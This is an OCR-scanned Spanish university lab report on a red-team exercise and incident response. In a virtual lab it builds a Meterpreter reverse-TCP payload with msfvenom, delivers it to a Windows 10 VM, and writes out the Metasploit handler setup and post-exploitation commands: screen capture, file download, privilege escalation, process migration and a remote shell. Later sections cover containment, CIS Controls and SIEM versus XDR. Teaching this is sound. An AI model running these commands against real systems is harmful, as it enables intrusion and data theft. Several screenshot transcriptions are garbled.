se recibié el acompafamiento de empresas internacionales expertas en ciberseguridad

para evaluar la situacion y las acciones a realizar para prevenir nuevos ataques.®

Estos casos siguen en aumentado no solamente en Colombia sino a nivel mundial y
especialmente en Latinoamérica, los atacantes aprovechas brechas de seguridad que
encuentran en la red de empresas que puedan significar grandes ganancias con el robo

0 secuestro de informacion.

De ser identificados por las autoridades encargadas, los atacantes pueden afrontar
penas y sanciones por la violacion a las leyes establecidas en el pais, como la ley 1273
de 2009, siendo uno de los mas infringidos el articulo 269 en sus numerales A, B, Cy
D, entre otros, donde se especifican las multas penales y econémicas a quienes sin
autorizacion acceden a sistemas informaticos, la obstaculizacion ilegitima de sistema
informatico o red de telecomunicacion, interceptacion de datos informaticos, dafio
informatico, entre otros, ademas de otros agravantes segun el nivel de dafio causado a
la empresa atacada y usuarios. Por otro lado, si actualmente cuentan con tarjetas

profesionales vigentes, estas pueden llegar a ser canceladas.

3 LA REPUBLICA. (2023). (En Linea). (17 de agosto de 2023). Disponible en:
https://www.larepublica.co/empresas/audifarma-sufrio-ataque-cibernetico-y-se-suma-a-otras-empresas-
gue-han-sido-victimas-3528413
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5.3 ETAPA 3. EJECUCION PRUEBAS DE INTRUSION

Describa de manera especifica las herramientas software que utilizé para llevar a cabo
el anexo 4 — escenario 3 enfocado a Redteam.

Para llevar a cabo la practica del anexo 4, se usaron las siguientes herramientas de
software:

Software de virtualizacion, para el uso y ejecucion de dos sistemas operativos en la
misma magquina, en este caso se uso Virtual Box.

Sistema operativo Windows 10, el cual se instalé en la maquina virtual de Virtual Box
como maquina victima del ataque.

Sistema operativo Kali Linux, el cual es el encargado de la ejecucion del ataque
mediante las herramientas incluidas y también se encuentra virtualizado en Virtual Box.
Metasploit, es un framework incluido en Kali Linux, mediante su uso se pueden realizar
pruebas de penetracion permitiendo descubrir, explotar y resolver vulnerabilidades de
un sistema.

Meterpreter, es un payload, carga o coédigo malicioso que se ejecuta una maquina
victima de un ataque en la fase de postexplotacion del sistema, en este caso el

Meterpreter se usa para ejecutar tareas en forma remota en una maquina®.

3.2. A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3
gue le fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la

maquina windows 10 X64.

En el escenario planteado, existen fallos de seguridad:
Los sistemas de seguridad, tanto en el sistema operativo como externos se
encontraban desactivados: firewall, Windows defender, antivirus, ademas que no se

han realizado actualizaciones de seguridad para resolver fallas o vulnerabilidades.

4 Keepcoding. (2023). ¢ Qué es Meterpreter? https://keepcoding.io/blog/que-es-meterpreter/

33


https://keepcoding.io/blog/que-es-meterpreter/

Por otro lado, se llevo a cabo una mala practica por parte de un usuario, se encontré un

archivo desconocido en el equipo y se ejecuto.

3.3. ¢Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la

“‘maquina Windows 10”? ; Qué puerto abre la aplicacién especifica en el anexo?

La herramienta utilizada para identificar fallos de seguridad fue Metasploit, con el cual
se pueden encontrar vulnerabilidades del sistema a atacar, adicionalmente se puede
usar NMAP para la verificacion de puertos abiertos y servicios para posibles ataques.

3.4. Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 10 X64), haga uso de gréaficos para explicar el ataque.

El ataque realizado mediante el Payload Meterpreter, puede afectar totalmente la
maquina con Windows ya luego de ejecutar el archivo creado como carga util posibilita
el acceso con el que se adquiere el control remoto con el que se pueden realizar
muchas afectaciones como pueden ser. descargar archivos, copiar archivos; ver
modificar o eliminar informacion, realizar capturas de teclado, realizar tomas de
pantalla, crear nuevos usuarios, espiar constantemente la maquina.

llustracion 12.Ataque a maquina Win10

ATACANTE OBIETIVO
u . PR
- Envio de carga dtil ejecutable
" m
x - --
d Ejecucidn de archivo
e
h i i% - i% Itz d idad
. Ejecucion exploit y conexion X Falta de seguridades y
. buenas practicas
: ) : Postexplotacion
" LY o
- m ~ -
: IN
n
: Obtencién de informacion del objetiva l '
k]

Fuente: El autor
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3.5. Deberd documentar y adjuntar los comandos utilizados y explicar la estructura
desarrollada para el Payload ademas de los comandos para ejecutar el Payload.

El primer aspecto a tener en cuenta es que la organizacion HackerHouse al contar con
un equipo de computo con Windows 10, sin las debidas activaciones de los elementos
de seguridad del sistema operativo y externos, como el firewall, el antivirus y el
Windows defender; se encontraba totalmente expuesto y vulnerable a ser atacado por
un agente externo con el fin de obtener informacion.

llustracion 13. Seguridades Windows 10

8 Personalizar configuracién - o x| &

- « 4 @ « Firewall deWindows > Personalizar configuracion v ®| | Buscar enel Panel de control P e z
Cokgacin -0 X

Personalizar la configuracién de cada tipo de red (53 ACTUAIZACION Y SEGURIDAD

Puede modificar la configuracién del firewall para cadattipo de red que use.
Wedows e

Wirdows Defendet

g (® Desactivar Firewall de Windows (no recomendad;

Envio de muestras automatico

Fuente: El autor

El atacante genero un archivo de carga util el cual fue transferido mediante una
comunicacion por Whatssap al equipo atacado y el usuario que lo recibe y responsable
del equipo Win10 procede a ejecutarlo en la maquina. Esta accidon genera que se abra
la puerta a la vulnerabilidad de conexion remota mediante y que pudo ser explotada
mediante el Payload Meterpreter.

Para la generacion del archivo de carga Uutil, el atacante uso eso la herramienta
msvenom y el comando:

msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform
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windows -a x64 LHOST=IP_KALI LPORT=443 -f exe >>
/home/alahingg/escritorio/PoC_93408477.exe

llustracién 14. Creacion del archivo carga util

/home/alahingq
windows/x64/meterpreter/reverse_tcp windows -a x64 LHOST=192.168.253.1
LPORT=443 -f exe /home/alahingq/Escritorio/PoC_93408477.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes

Final size of exe file: 7168 bytes

/home/alahingq

Fuente: El autor
Al recibir el archivo fue copiado en el escritorio de la maquina Win10. Figura 4.

llustracion 15. Archivo carga util en maquina objetivo

EIPoF
Foxit PDF Editor

PoC_93408477....

5:00 PM
A0 B gm0,

Fuente: El autor

En la figura 16, se puede observar la forma en que el atacante desde la maquina Kali

Linux realiza ping a la maquina Windows 10 que tiene asignada la IP 192.168.1.15
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llustracién 16. Comunicacidn entre maquinas

/home/alahingq/Escritorio

/home/alahingq/Escritorio

Fuente: Elaboracion propia

Por otro lado, el atacante desde su maquina con Sistema Operativo Kali Linux prepara
el ataque verificando la comunicacion entre las maquinas, accediendo al Framework
Metasploit donde configura el Payload Meterpreter para iniciar el ataque.

Para iniciar el ataque abre el Metasploit mediante el comando msfconsole.

Selecciona el exploit con el que se va a atacar con el comando use
exploit/multi/handler

Llama el Payload a ejecutar con el comando set
windows/x64/meterpreter/reverse_tcp

Ingresa el LHOST del equipo linux con el comando set LHOST 192.168.1.16

Registra el puerto por donde se realiza el ataque en este caso el puerto 443, mediante
el comando set LPORT 443

Finalmente se ejecuta el exploit mediante el comando exploit
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llustracién 17. Preparacion del Payload Meterpreter

root@kali: /lhome/alahingq

Archivo Acciones Editar Vista Ayuda

2315 exploits - 1208 auxiliary - 412 post
975 payloads - 46 encoders - 11 nops
9 evasion

[
[
[
[

Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.253.1
lhost = 192.168.253.1
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.253.1:443
Sending stage (200774 bytes) to 192.168.253.59

Meterpreter session 1 opened (192.168.253.1:443 — 192.168.253.59:54173) at 2023-08-27 17:50:
55 -0500

meterpreter >
meterpreter > ]

Fuente: El autor.
Cuando la victima ejecuta el archivo .exe se abre la puerta para la explotacion del

Payload, se inicia el control remoto de la maquina.

Algunos de los comandos mas importantes de Meterpreter son:

Sysinfo: Muestra informacién de la maquina atacada.
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llustracion 18. Verificacion de informacion de la maquina objetivo

§ root@kali: /home/alahingq

Archivo Acciones Editar Vista Ayuda

session on many platforms using

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.253.1
lhost = 192.168.253.1
) > set lport 443

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.168.253.1:443

Sending stage (200774 bytes) to 192.168.253.59
Meterpreter session 1 opened (192.168.253.1:443 — 192.168.253.59:54173) at 2023-08-27 17:50:
55 -0500

meterpreter >
meterpreter > sysinfo

Computer : WIN1O

0s : Windows 10 (10.0 Build 10586).
Architecture 1 X64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : X64/windows

meterpreter > ||

Fuente: El autor.
Por medio del comando pwd se puede verificar la ubicacién actual dentro de la
maquina atacada y el comando Is muestra el listado de archivos dentro de la ubicacion

actual.
En la figura 8, se puede ver que se encuentra en el escritorio de la maquina atacada y

se listan los archivos ubicados alli, donde se puede observar el archivo enviado para el
ataque, PoC_93408477.exe
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llustracion 19. Verificacion de ubicaciéon y listas de archivos

Type Last modified Name

fil
dir
fil
dir
fil
fil
fil

Fuente: El autor.

El comando screenshot toma una imagen de la maquina atacada, posterior a su
ejecucion, muestra la ubicacion del pantallazo captado y el nombre del archivo.

Se ejecuto también el comando gesystem para elevar privilegios, sin embargo, se

llustracion 20. Comandos toma de captura de pantalla

. The following was attem

riant - AKA EfsPotato)

/home/alahingg/ jpeg

Fuente: Elaboracion propia
Se ejecutan también los comandos ipconfig para verificar la IP de las interfaces y MAC

de la maquina objetivo y el comando route todas las rutas usadas.
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llustracion 21. Verificacion de IP y MAC

= root@kali: /home/alahingq

Archivo Acciones Editar Vista Ayuda

Interface 8

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:c@a8:10f

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:frff.ffff:FFff

Interface 12

Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:a4:0b:5d

MTU : 1500

IPv4 Address : 192.168.1.15

IPv4 Netmask : 255.255.255.0

IPv6 Address : 2800:e2:1d00:1be:d172:cf95:99ed:2f8
IPv6 Netmask : ffff:ffff:ffff:ffff:

IPv6 Address : 2800:e2:1d00:1be:c5c6:1ba4:7a63:557
IPv6 Netmask : ffff:ffff:ffff:ffff.ffff:ffff:Ffff:ffff
IPv6 Address : fe8@::d172:cf95:99ed:2f8

IPv6 Netmask : ffff:ffff:ffff:ffff:

Fuente: El autor

llustracion 22. Rutas maquina objetivo

meterpreter > route

IPv4 network routes

Netmask Gateway Metric Interface

0.0.0.0 192.
.0 255.0.0. 127,
oX 255,255 . X127
.255.255 255.255. . 127.
1.0 255.255. . 192.
+1.15 255.255. . 192.
<1255 255.255. . 192.
.0 240.0.0. 127.
.0 240.0.0. 192.
«255.255 255.255. . 127,
.255.255 255.255.

10 12
306 1
306 1
306 1
266 12
266 12
266 12
306 : |
266 12
306 1
266 12

[ el o S S S S S S S

IPv6 network routes

Subnet Netmask Gateway Metric Interface

fe80::52a5:dcff:fee8:512 6 12
8
s FRff.ffff . FEffFEFf:FFF o 1
foffff:ffff:ffff
2001 ::
2001:0:34f1:8072:2cfc:
3486:3f57:fef0

Fuente: El autor
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Con el comando cat y nombre del archivo a verificar, se puede ver el contenido del
archivo.

llustracion 23. Revision archivo en maquina objetivo

meterpreter > 1ls
Listing: C:\Users\Gutierrez\Desktop

Mode i Type Last modified Name
100777/ rwXTwXrwx 6 fil 2023-09-10 :01: 1PoC_93408477 .exe
040777/ TWXTWXTWX dir 2023-09-10 :23% Compartida

100666/ rw-rw-rw- fil 2023-03-19 . Excel.lnk

040777/ TwWXTWXTWX dir 2023-03-21 g Index

100666/ rw-rw-rw- fil 2023-03-21 *35: Index.dat Analyzer.lnk
100777 /TwXTwXrwx fil 2023-09-10 L 1 16 PoC_93408477 .exe
100666/ rw-rw fil 2023-09-10 1542 Prueba.txt

100666/ rw-rw i & fil 2023-03-19 . Word. lnk

100666/ rw-rw-rw- fil 2023-03-19 H T desktop.ini

meterpreter > cat prueba.txt
stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat Prueba.txt
Prueba meterpreter
Seminario BT RT
meterpreter > download Prueba.txt
Downloading: Prueba.txt — /home/alahingqg/Prueba.txt
Downloaded 38.00 B of 38.00 B (100.0%): Prueba.txt — /home/alahingg/Prueba.txt
Completed : Prueba.txt — /home/alahingq/Prueba.txt
meterpreter > ||

Fuente: Elaboracion propia
El comando ps, permite ver los procesos que estan corriendo en la maquina atacada.

llustracion 24. Procesos activos en maquina objetivo

meterpreter > ps

Process List

PID PPID Name Arch Session User

[System Process

BOh@oOE R ® @ cm omecra

Fuente: El autor

42



Se puede cambiar el proceso que se esta ejecutando mediante el archivo carga util
generado para que se ejecute junto con un proceso del sistema propio de Windows y no
sea necesario que el usuario vuelva a ejecutar el archivo carga para establecer la
conexion.

En este caso se paso el proceso carga util PoC_93408477.exe al proceso explorer.exe
del sistema.

llustracion 25. Migracion de proceso Meterpreter

BeompP a1 2

root@kali: Jhome/alahingq
Archivo Acciones Editar Vista Ayuda

conho
WIN10\Gutierrez C:\Windo stemApps\Microsoft.Windows.Cortana_cwsn1h2t

WIN10\Gutierrez C:\Program Files\UEMS_Cent rver\bin\UEMS.exe
WIN10\Guti. C:\Program Fi )\W t OneDrive\OneDrive.exe

ApplicationFrameHost.exe X6 WIN10\Gutierrez : 2\ApplicationFrameHost.exe
WmiPrvSE.exe
sedsvc.e

6 VBoxTr X6 WIN10\Gutierrez :\Windows\System32\VBoxTray.exe

WIN10\Gutierrez i \Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
WIN10\Guti c WS\ md.exe
WIN10\Gutierr 0 s onhost.exe

WIN10\Gutierrez C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe

WIN10\Gutierrez C:\Windows\ImmersiveControlPanel\SystemSettings.exe

meterpreter > mi. 69
Migrating from 4080 to 3696 ...
Migration completed successfully.
meterpreter > I

Fuente: El autor

El comando Shell permite acceder al shell de Windows como quedar en el modo

simbolo del sistema en la maquina obijetivo.

llustracion 26. Ejecucion comando shell

Process
Channel 1
crosoft

Fuente: El autor
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Luego de acceder de esta forma, los comandos que se ejecutan pasan a ser los
mismos que se usan en Windows.

En la figura 27 se puede ver la revision de unidad C: en maquina objetivo y listado de
archivos con comando dir.

llustracion 27. Verificacion unidad C: objetivo

El volumen de la unidad C no tiene
El nemero de serie del volumen es:

Directorio

PM <DIR> Compartida
AM <DIR> Exiftool

AM <DIR> PerfLogs

AM <DIR> Program Files

PM <DIR> Program Files (x86)
PM <DIR> Users

PM 1,419 vboxpostinstall.log
PM <DIR> Windows
13 PM <DIR> Windowsl@Upgrade
archivos 1,419 bytes
dirs 9,262,518,272 bytes libres

Fuente: El autor

Posteriormente se busca el archivo carga util que sirvido para el acceso, el cual se

encuentra ubicado en el escritorio de la maquina de Windows 10.
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llustraciéon 28. Ubicacién del archivo carga util

C:\Users\Gutierrez>cd Desktop
cd Desktop
C:\Users\Gutierrez\Desktop>dir
dir
El volumen de la unidad C no tiene
El nemero de serie del volumen es:

Directorio

1PoC_93408477.ex

Compartida

bi44 PM 2 Word. Lnk
6 archivos : 9 bytes
4 dirs 32, 7 bytes libres

Fuente: Elaboracion propia

Finalmente, mediante el comando del se logra eliminar el archivo carga util
PoC_93408477.exe
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llustraciéon 29. Eliminacion de archivo de carga util

= |
kJd KJ

=

PM
PM
AM
PM
archi

dirs

=

=

=]
kJ B B R R
| OF Ty SFS Ty Y W P [ Yy S Y )

=

op> dir

lumen de la wumidad C nmo ti tigueta.
nemero de serie del Lumen =1 4A4F-DB26

Fuente: El autor

Se procedio también con la eliminacidn de la carpeta compartida con el comando rmdir
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llustracion 30. Eliminacion de carpeta compartida

ctop>rmdir Compartida

ctop>dir

l volumen de 1
nemero de

orio de

Fuente: El autor
El comando background permite salir de la sesién de manera temporal sin cerrarla con

el fin de realizar otras revisiones en el Metasploit y luego retomar la sesion.

llustracion 31. Salida temporal del payload

Archivo Acciones Editar Vista Ayuda
meterpreter > use p
[!] The "pri extension has already been loaded.
meterpreter > background
Backgrounding session 1...
msf6 exploit( ) > 1s
s

AP-Report- 330-00-11-54-1.kismet practical-02.cap
AP-Report2-.pdf 3 .kismet practical-02.csv
AP-Report-.pdf 3 .kismet practical-02.kismet.csv
AP-Report-.pdf .kismet practical-02.kismet.netxml
< .kismet practical-02.log.csv
.kismet practical-03.cap
.k et practical-03.csv
driverwifi 3 .kismet-journal practical-03.kismet.csv
Escritorio 1 .kismet practical-03.kismet.netxml
handshake_liborianal.cap .kismet-journal practical-03.log.
hs { .kismet practicalUNAD-01.
Imagenes isn .kismet-journal practicalUNAD-01.
i .kismet practicalUNAD-01
.kismet-journal practicalUNAD-01.kismet.netxml
Kis 2023033 21-13-1.k practicalUNAD-01.log.csv
linux-headers-6.1.0-kali5-amd64_6.1.12-1kali2_amd64.deb Prueba.txt
Misica Pablico
snort_sources
tCKRYWSS.
t1lwn8200nddr
practical-01. et.csv Videos
practical-01.kismet.netxml wifiphisher
practical-01.log.csv

Fuente: El autor
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llustracion 31. Nuevo acceso a Meterpreter

0

root@kali: /home/alahingq
Archivo Acciones Editar Vista Ayuda

Descargas i 3 .kismet practical-03.cap
Documentos i 3 5-1.kismet practical-03.csv
driverwifi i 5-1.kismet-journal practical-03.kismet.csv
Escritorio i 3 .kismet practical-03.kismet.netxml
handshake_liborianal.cap i .kismet-journal practical- g.csv
Jkismet i .cap
- .kismet-journal practicalUNAD-01.csv
kgesSApT. jpeg i 3 2 .kismet practicalUNAD-01.kismet.csv
Kismet-20230329-00-55-19-1.ki ismet-2023 2 .kismet-journal practicalUNAD-01.kismet.netxml
i t-20230330-2 3-1.kismet practicalUNAD-01.log.csv
linux-headers-6.1.0-kali5-amd64_6.1.12-1kali2_amd64.deb Prueba.txt
Misica Piblico
Kismet-2 3 Plantillas snort_sources
Kismet-20 .kismet practical-01.cap tCKRYWSS. jpeg
Kismet-20 .kismet practical-01.csv tlwn8200nddriver
Kismet-202 .kismet practical-01.kismet.csv Videos
Kismet-20 .kismet practical-01.kismet.netxml wifiphisher
Kismet-202303 4 .kismet practical-01.log.csv
msf6 expl ) > sessions

Id Name Type Information Connection

meterpreter x64/windows WIN10\Gutierrez @ WIN10 192.168.1.1 — 192.168.1.15:50915 (192.168.1.15)

msf6 exploit( ) > sessions 1
Starting interaction with 1...

meterpreter > [i

Fuente: El autor
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5.4 ETAPA 4. CONTENCION DE ATAQUES INFORMATICOS

¢Ante un ataque informatico en tiempo real usted como experto en Ciberseguridad qué
pasos toma para identificar dicho ataque?

Al momento de detectar un ataque o actividad sospechosa se deben tomar las medidas
necesarias para evitar que el ataque se siga propagando y pueda generar mas dafios
de los que posiblemente ya se hayan generado hasta el momento del hallazgo.

Inicialmente se debe recopilar la informacion que esta generando la sospecha
del ataque, entre la cual esta: el trafico de la red, eventos y registros del sistema,
informacion de archivos sospechosos, procesos y servicios ejecutandose.

Se procede a realizar un analisis de la informacion recolectada para identificar
comportamientos o acciones sospechosas.

Posteriormente se verifica la amenaza para determinar si es un ataque real, lo
cual puede requerir herramientas especializadas para examinar los datos en
profundidad.

Finalmente se genera una respuesta al ataque para detenerlo y mitigar los
dafos, esto incluye acciones como aislar el equipo sospechoso del sistema para
evitar propagacion del ataque (este paso puede ser el inicial en caso de tener la
certeza del ataque presentado), eliminar el malware mediante herramientas,
aplicar parches de seguridad y endurecer los controles politicas, procedimientos
y herramientas de contencion.

3.2. ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team liste el
paso a paso que ejecutd para subsanar el sistema ante el evento del Payload?

Luego de verificar actividad sospechosa en el equipo atacado, se realizan las siguientes
actividades para controlar el evento:

Se aislo el equipo de lared.

Se recopilé informacién en el equipo de trafico de red, logs del sistema y archivos
sospechosos.

Se realiza un analisis de la informacion recopilada y de los controles de
seguridad del equipo verificando fallas como el firewall y la seguridad de
Windows deshabilitadas.

Se revisaron y fortalecieron los controles de seguridad de los equipos y la red,
eliminando archivos sospechosos, activando la seguridad de Windows y el
firewall, instalando un buen antivirus en la red, revisando y ajustando los
permisos de usuarios del sistema; ademas se implementaron sistemas de
IDS/IPS en la red, Active Directory para administrar la seguridad en equipos y
usuarios de la red y finalmente verificacion de implementacién y cumplimiento de
procedimientos y politicas de usuarios del sistema.
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3.3. Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢qué
diferencia existen entre los equipos antes mencionados con el Purple Team y equipos
de respuesta a incidentes informéticos?

A diferencia de los Blue Team, especializados en la defensa, y los Rea Team,
especializados en los ataques, los Purple Team ademés de cumplir funciones de Blue y
Red Team, se encargan en mantener una buena y fluida comunicacion entre estos dos
equipos ya sean externos o internos, coordinan e integran tacticas de defensa con las
amenazas Yy vulnerabilidades encontradas, mejoran la efectividad de los procesos de
seguridad estableciendo y desarrollando objetivos comunes entre los equipos.

Los Equipos de Respuesta ante Incidentes de Seguridad informatica CSIRT (Computer
Security Incident Response Team), tienen como funcion recibir, revisar y responder ante
informes de incidentes; desarrollan medidas de prevencion y reaccion.

3.4. ;Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y qué se
debe hacer para encontrar los tutoriales que posee.

El Centro para la Seguridad de Internet es una entidad sin animo de lucro que se han
encargado de desarrollar Controles de Seguridad Critica CIS, consistentes en diversas
soluciones bajo un marco metodolégico de mejores practicas en ciberseguridad.

Para los Blue Team, los Controles de Seguridad Critica CIS, son una guia muy
importante en el proceso de fortalecimiento de la seguridad informatica de las empresas
ya que mediante la implementacion de los controles puede ayudar a prevenir los
ataques mas dafinos y de mayor alcance, y apoyar el cumplimiento de muchos marcos
y regulaciones de seguridad.

Para encontrar un tutorial especifico para un CIS Control, puede seguir estos pasos:

Inicialmente se debe acceder a la pagina web de CIS: https://www.cisecurity.org/ y
hacer clic en el menu "Controles de seguridad criticos".
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llustracién 32. Acceso alaweb CIS

< C & cisecurity.org G W e * "Bh * 0O o H

D Librosyarticulos @) Tutorial Curso C# .. €3 Pagina principal de.. ## Autodesk Viewer | F.. @ REDES CCNAT1-20.. () HT_Alahin_ Gutierre.. (5 Sistemas Telemitic.. ) Come configurar ca.. »

Ahorre hasta un 20 % en una nueva membresfa CIS SecureSuite con el c6digo de promocién AUDIT2023. | Aplica ya

Mejores précticas y comunidades de expertos de renombre mundial

@ CIs Controls’

Proteja su arganizacion de
ataques cibernéticos can

controles CIS, guias
complementarias y

asignaciones mundialmente

reconocidos.

@ CIS Benchmarks”

Proteja los sistemas de Tl
contra amenazas
cibernéticas con méas de 100
pautas de configuracidn en
més de 25 familias de
productos de proveedores,

@ a5 SecureSuite’

Proteja su organizacion con
recursos y herramientas
disefiados para aprovechar
el poder de CIS
Benchmarks y CIS Controls.

@ MS-ISAC’ f‘/; EI-ISAC’

Acceda a recursos para la
prevencion, proteccion,
respuesta y recuperacién de
amenazas para entidades
gubernamentales estatales,
locales, tribales y territoriales

(SLTT) de EE. UU.

| DESCARGARY EXPLORAR —> | DESCARGAR LO ULTIMO —> | APRENDE MAS —> | APRENDE MAS -

I I

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/

Seleccionar descargar controles y diligenciar la informacion de datos personales para el
envio de correo.

llustracion 33. Diligenciamiento de informacion para descarga del documento

learn.cisecurity.org/cis-controls-download?_gl=1*rleth6*_ga*MTE3NjUxNTMOMy4xN;jk0( MDYw*_ga_N70Z2MKMD7 5ND .. G 1A
€ C & leamn.cisecurity.org/! fs-downioad?_gl= 1 et ga' MTESNJUNTMOMy2xNjK0ODGIMDYw" g2 NTOZMKMDTMTVSNDNTA.. G B 14 s B Gy B % O

O Llibrosy articulos @ Tutorial Curso C#-.. €8 Pagina principal de..  #8 Autodesk Viewer | F.. &b REDESCCNATI-20.. (@) HT_Alahin Gutierre.. () Sistemas Telemétic.. ) Como configurar ca.

1, CIS Controls . o[ T—
¢ Simplified and prioritized e

Security Controls

cyber defense guidance

© ais controls

Descargue CIS Ciritical Security Controls® v8

Controles CIS v8

CIS Controls v8 se mejoré para mantenerse al dia con la tecnologia en evolucién (sistemas y software
Nombre de pila *

Apellido *

Organizacion *

modernos), las amenazas en evolucion e incluso el lugar de trabajo en evolucién

La versién més nueva de Controls ahora incluye tecnologias mdviles y en la nube. Incluso hay un

nuevo Control CIS: Gestién de proveedores de servicios, que proporciona orientacién sobre cémo las
empresas pueden gestionar sus servicios en la nube.

iDescarga v8 hoy!
Ahora disponible con traducciones al italiano, japonés y portugués.

(,Buscas ofra version? ‘ ‘

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/

En el link recibido en el correo, direcciona a la informacién de herramientas, plantillas,
guias, controles en la version actual y la traduccién de controles en varios idiomas.
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llustracién 34. Email recibido con el acceso

M Gmail Q Buscar en el correo

2]

0]

€ B O ® 2 0 & m D 1da 17621
/ Redactar

Your CIS Controls download is ready D fecibides
Recibidos 12.328

Destacados CIS <leam@cisecurity.org Anular
parami =

12:37 (hace 1 minuta)

Pospuestos

Ry inglés v > espafiol »  Traducir mensaje Desactivar
Importantes
Enviados

Nat rendering correctly? View this email a5 a web page bere.

Borradares 105

Categorias /‘

. s - Center for
Socia 2 C[S Internet Security’

OO0 Vo oe==*0o

(D Notificaciones  9.391
By Foros a8

©  Promociones 425 Thank you for your interest in the CIS Critical Security Controls® cybersecurity best
practices. Your download is ready! Click the button below to access the download
page.

v Més

Etiquetas +

B [ImapliSent Download CIS Controls
imap/Sent

B 5800

[Dowmiod GIS Convois]

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/

llustracion 35. Acceso a documentos, plantillas y controles

& C & cisecurity.org/controls/v8?_gl=1%2a1llzjyd%2a_ga%2aMTE3NjUXNTMOMy4xNjk0ODg1MDYw%2a_ga N70Z2MKMD7%2aMTYSNDgdNTA.. & B & Vu B » 0 o

D Librosy articlos @) Tutorial Curso C#-.. € Pégina principal de..  ##3 Autodesk Viewer |F.. 5 REDES CCNAT 1120, @) HT_Alshin Gutierre,, () Sistemas Telemétic.. (@) Como corfigurar ca..

L . Discuir los controles sobre |
Obtenga més informacién sobre los controles CIS v8 SCUlirios coneles soRre o8

niveles de salvaguarda

{UNASE A NUESTRA
Herra m|entas y recursos v PLATAFORMA COLABORATIVA
GLOBAL GRATUITA CIS -2
CONTROLS VB EN CIS
) " WORKBENCH!
Plantillas de politicas v
Guias complementarlas e ¢Pudiste encontrar lo que
buscabas?Were you able to
. . find what you were lookin
Asignaciones de controles CIS v8 Vo e ! ¢
or?
Traducciones de controles CIS v8 v

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/
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llustracién 36. Documento CIS en PDF

c

€IS Controls_v8_Critical Security Controls_2023 08.pdf

Center for

@

(IS Cr

Internet Security’

(© c1s Controls

cal

security Controls™

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/

llustracion 37. Documento CIS en Excel

Archive Inico Insertar  Disposi6n de pigina  Formulas Datos Revisar Vista  Programador  Ayuda © Comentarios
ﬁ % Aial . 1Az = \@ Geneva\a [ Formato condicional = B Insertar v e
Pegar B~ NK s~ AR $ v %ow o FEDarformatocomotablay  EE Himinar ~ c P i Formularo
v He 9 A == o b 98 Picker~ [ Estlos de celda~ i Formato~ {0~ datos
Deshacer  Portapapeles & Fuente & Alineacién & Nimero & Date Estilos. Celdas Edicién Anlisis Confidencialidad PRUEBA e
21 v fc | Ensure thata process exists to address unauthorized assets on a weekly basis. The enterprise may choose to remove the asset from the network, deny the asset from connecting v/
A B C D E F .
cis CIs Securil ore
Asset Type N ty Description
Contrﬁ Safeguarﬁ Functlor‘
1 ]
Establish and maintain an accurate, detailed, and up-to-date inventory of all enterprise assets with
potential to store or process dafa, to include: end-user devices (including portable and mobile), nef|
devices, non-computing/loT devices, and servers. Ensure the inventary records the network addres|
Establish and Maintain Detailed stafic), hardware address, machine name, enterprise asset owner, department for each asset, and
1 11 Devices Identify the asset has been approved to connect to the nefwork. For mabile end-user devices, MDM type ta
Enterprise Asset Inventory
support this process, where appropriate. This inventory includes assets connected to the infrastruct
physically, virtually, remotely, and those within cloud environments. Additionally, it includes assets tf]
reqularly connected to the enterprise’s network infrastructure, even if they are not under control of th
. enterprise. Review and update the inventory of all enterprise assets bi-annually, or more frequently
Ensure that a process exists to address unauthorized assets on a weekly basis. The enterprise mal
1 12 Devices Respond  [Address Unauthorized Assets choose to remove the asset from the network, deny the asset from connecting remotely fo the netw¢
4 quarantine the asset.
" 13 Devices Utiize an Active Discovery Tool Utilize an active discovery toal to idenfify assefs connected to the enterprise’s nefwork. Canfigure t
5 discovery tool to execute daily, or more frequently.
Use Dynamic Host Configuration |Use DHCP logging on all DHCP semvers or Internet Protocol (IP) address management tools to upg
1 14 Devices Identify  |Protocol (DHCP) Logging to enterprise’s asset inventory. Review and use logs to update the enterprise’s asset inventory weekly
Update Enterprise Asset Inventory |more frequently. v
Introduction | License for Use | Important Resources | Controls V8 ©] 4 »

Fuente: Elaboracion propia. Pagina https://www.cisecurity.org/

Seleccione el CIS Control que desea aprender a implementar.

Haga clic en el enlace "Tutorial".

3.5. Deberd documentar mediante la elaboracién una tabla las diferencias existentes

entre: SIEM y XDR.
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CARACTERISTICA

Tabla 1. DIFERENCIAS SIEM - XDR

SIEM

XDR

ARQUITECTURA

OBJETIVO

GESTION

HABILIDAD
RESPUESTA

Fuente: El autor.

DE

Basado en normalizacién
de datos + analisis
Proporciona a una
empresa capacidades de
andlisis y gestion de
